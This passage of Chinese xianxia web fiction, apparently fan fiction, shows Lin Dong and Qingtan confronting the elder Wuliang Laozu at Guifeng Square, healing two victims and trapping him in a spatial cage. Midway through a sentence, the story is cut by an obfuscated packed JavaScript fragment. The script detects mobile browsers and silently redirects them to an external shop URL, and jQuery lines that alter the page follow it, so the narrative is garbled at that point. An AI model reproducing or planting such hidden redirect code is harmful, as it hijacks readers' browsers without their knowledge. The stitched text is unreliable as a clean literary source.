又是一道银光破空,比先前封禁十数名三品至尊的银光更加璀璨,如同一轮银色骄阳骤然坠落在桂风广场之上。
光芒散去,一道挺拔的身影缓缓显现。他身着一袭银袍,袍角猎猎作响,其上以八色丝线绣着繁复至极的纹路——墨黑的吞噬纹路如深渊漩涡,深蓝的雷霆纹路似电光游走,银白的空间纹路若星河流转,黑白的生死纹路如枯木逢春,古铜的洪荒纹路透着蛮荒气息,淡蓝的寒冰纹路凝着刺骨寒意,暗紫的黑暗纹路与青檀周身灵力遥相呼应,赤红的火焰纹路则燃着焚天之势。八种纹路交织缠绕,流转着截然不同却又相融共生的磅礴力量,仅仅是站在那里,便让整个广场的空气都仿佛凝固。
青檀见他出现,俏脸上的冰寒瞬间消融,取而代之的是一抹明艳的笑意。她微微侧身,自然地挽住林动的胳膊,周身翻涌的黑暗灵力也随之柔和下来,与他银袍上的暗紫纹路交相辉映,竟生出一种浑然一体的和谐。
无量老祖看着那袭绣满八色纹路的银袍,感受着那股远超九品至尊的恐怖威压,瞳孔骤缩,浑身的血液仿佛都在这一刻冻结。沧崖大陆那道让他魂飞魄散的身影,与眼前之人重重叠合,让他连一丝反抗的念头都生不出来。
林动垂眸看了眼身侧笑意盈盈的青檀,指尖轻轻拍了拍她的手背,随即抬眼,目光似带着万钧之力,落在脸色惨白的无量老祖身上。他嘴角勾起一抹冷冽的弧度,声音平静却带着彻骨的寒意:
“你这老色鬼,还是不知悔改啊。”
“你……你……地至尊?!”
无量老祖的声音陡然拔高,带着破音的尖锐,手指哆哆嗦嗦地指着林动,满眼的惊骇几乎要溢出来。他能清晰地感知到,林动周身那八色纹路流转间,散发出的已不再是九品至尊的浩瀚,而是一种更为磅礴、更为深邃,带着天地威压的力量——那是地至尊的境界!
“怎么可能?!”
他猛地嘶吼出声,眼中满是难以置信的疯狂,记忆如潮水般疯狂翻涌。不过四个月!四个月前在沧崖大陆相遇时,林动明明只是七品至尊的修为,就算天赋异禀,就算有机缘造化,又怎么可能在短短四个月内,连跨两大境界,直接突破到地至尊?
这等修炼速度,已经不能用天才来形容,简直是逆天!是颠覆常理!
他身后被银光封禁的十几名三品至尊,虽无法言语动弹,眼中却也同步映出了极致的惊恐,那原本还存着的一丝侥幸,在这股地至尊的威压下,瞬间荡然无存。
广场上的围观者更是倒吸一口凉气,个个面露骇然,看向林动的目光里充满了敬畏与震撼。地至尊,那是他们只敢在传说中听闻的境界,今日竟能亲眼得见,还是以这般震撼的方式降临。
青檀挽着林动的胳膊,俏脸上的笑意更浓,眼底的骄傲与爱慕几乎要凝成实质。她微微抬眸,看向脸色惨白、浑身颤抖的无量老祖,语气里满是嘲讽:“老贼,现在知道,什么叫不自量力了吗?”
“你们……为了杀我,竟专程来了我寰宇大陆?!”
无量老祖的声音里满是绝望的颤抖,浑身的骨头仿佛都被这股威压碾碎,连站立都变得艰难。他怎么也想不通,自己不过是当初在沧崖大陆动了点歪心思,竟会引得这对煞星跨越界域,追到寰宇大陆来取他性命。
惊恐瞬间淹没了他仅存的理智,先前的嚣张与色厉内荏荡然无存。他猛地跪倒在地,膝盖重重砸在满地金桂花瓣上,扬起一片残香。他拼命磕头,额头很快渗出血迹,声音里带着哭腔,极尽卑微地求饶:
“阁下!饶命啊阁下!那天的事情都是误会,全是误会!我对尊夫人绝无半点歹念,半分都没有啊!”
他一边说,一边偷眼打量青檀的神色,见她俏脸依旧冰寒,更是吓得魂飞魄散,磕头磕得越发用力,连呼吸都带着哭腔。
桂风广场上的围观者们看得目瞪口呆,先前还不可一世、扬言要让青檀生不如死的无量老祖,此刻竟像条丧家之犬般跪地求饶,前后态度的转变之快,简直判若两人。众人面面相觑,看向无量老祖的目光里满是鄙夷,忍不住啧啧称奇——这老贼的脸皮,怕是比寰宇大陆的岩层还要厚上几分。
青檀看着他这副丑态,挽着林动胳膊的手微微收紧,眼底的冰寒更甚,连带着周身的黑暗灵力都泛起了冷冽的涟漪。
林动闻言,指尖微动,周身八色纹路中的青灰光芒骤然亮起。那是生死祖符的力量,一缕缕澄澈温润的生机灵力自他指尖流淌而出,如春雨般轻柔,分作两道,朝着那对被强行拆散的男女飘去。
一道生机灵力落在远处昏迷的男子身上,淡青色的光晕瞬间将他笼罩。原本苍白如纸的脸色,竟以肉眼可见的速度泛起一丝血色,急促微弱的呼吸渐渐变得平稳悠长,虽依旧未醒,气息却已明显好转。
另一道生机灵力则缠上了青檀身旁的青衣女子,温润的力量游走全身,手腕处扭曲的骨骼瞬间复位,断裂的筋脉飞速愈合,连带着体内紊乱的灵力都被梳理得井井有条。不过瞬息之间,女子身上的伤势便已彻底痊愈。
青衣女子先是怔怔地站在原地,感受着体内消失的剧痛与充盈的灵力,眼中满是迷茫与难以置信。她下意识地动了动手腕,灵活自如,没有半分不适。直到看到远处男子身上的青光晕染,她才猛地回过神来,泪水瞬间夺眶而出,扑通一声便要朝着林动与青檀跪下:“恩人!谢谢你们!谢谢你们出手相救!”
青檀眼疾手快,不等她膝盖落地,便已伸手将她扶住,周身的灵力柔和地托住她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153824|196484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的身体,俏脸上的冰寒散去些许,添了几分温和:“不必多礼,遇上了,便是缘分。”
林动则微微颔首,目光依旧落在不远处面如死灰的无量老祖身上,指尖的生机灵力悄然收敛,取而代之的,是一缕缕带着雷霆与吞噬气息的力量,在袖中缓缓流转。
“老狗,那天你辱我妻子,我不小心让你逃了,”林动的声音冷得像淬了冰,字字句句都带着杀伐之意,在死寂的桂风广场上炸开,“今天,就来算笔总账吧。”
话音落,他指尖凌空一招,雷帝权杖便自虚空之中轰然显现。杖身流转着雷光,杖首的雷纹图腾仿佛活了过来,整个广场的空气都被电离得噼啪作响,连天际都隐隐聚起了乌云。
林动握着雷帝权杖,缓步朝着跪地求饶的无量老祖走去。每一步落下,地面都轻轻震颤,周身那八色纹路瞬间爆发出璀璨光芒,八种截然不同的本源灵力,在他身周簇拥翻涌,彼此交融却又泾渭分明,散发出的威压早已超越了至尊的界限,压得无量老祖连头都抬不起来,只能瘫在地上,浑身筛糠般颤抖,先前的求饶声早已被恐惧扼在喉咙里,只剩下嗬嗬的绝望喘息。
青檀挽着身旁的青衣女子,俏脸冰寒地看着这一幕,眼底没有半分怜悯。当初沧崖大陆的险象环生,今日寰宇大陆的无辜受辱,这笔账,本就该用血来偿。
无量老祖见林动手持雷帝权杖步步逼近,周身八种灵力的威压几乎要将他碾碎,顿时心一横,眼中闪过一丝决绝的狠厉。他猛地暴喝一声,周身九品至尊的灵力毫无保留地疯狂爆发,脚下的青石板瞬间崩裂,整个人化作一道残影,暴闪着狂奔向无量府的方向——那里是他的根基,唯有回到府中,借助护府大阵与隐藏的后手,才有一线生机。
“想逃?”
林动冷嗤一声,脚步未动,左手却骤然一握。
刹那间,他周身八色纹路中的银白光芒猛然暴涨,空间祖符的力量瞬间爆发,耀眼的空间灵力如潮水般席卷而出,在虚空中飞速交织、凝结,不过瞬息之间,便化作一座通体银光的囚笼,精准地拦在无量老祖奔逃的路径之上。
“嘭!”
无量老祖的身影狠狠撞在银色囚笼之上,那流光溢彩的光壁坚如神铁,不仅将他的冲势彻底拦下,更有无数细密的银光丝线如蛛网般蔓延,瞬间缠上他的四肢百骸,将他牢牢困在囚笼中央。
他拼命挣扎,周身灵力疯狂冲击着囚笼壁障,可每一次撞击,都只会引来银光更甚的收缩,空间祖符的力量不断挤压着他的灵力,让他连半分都无法挣脱,只能在囚笼中徒劳地嘶吼、挣扎,眼中满是绝望与不甘。
林动握着雷帝权杖,缓步走近那座银色囚笼,周身八种灵力翻涌得越发汹涌,眼底的杀意几乎要凝成实质。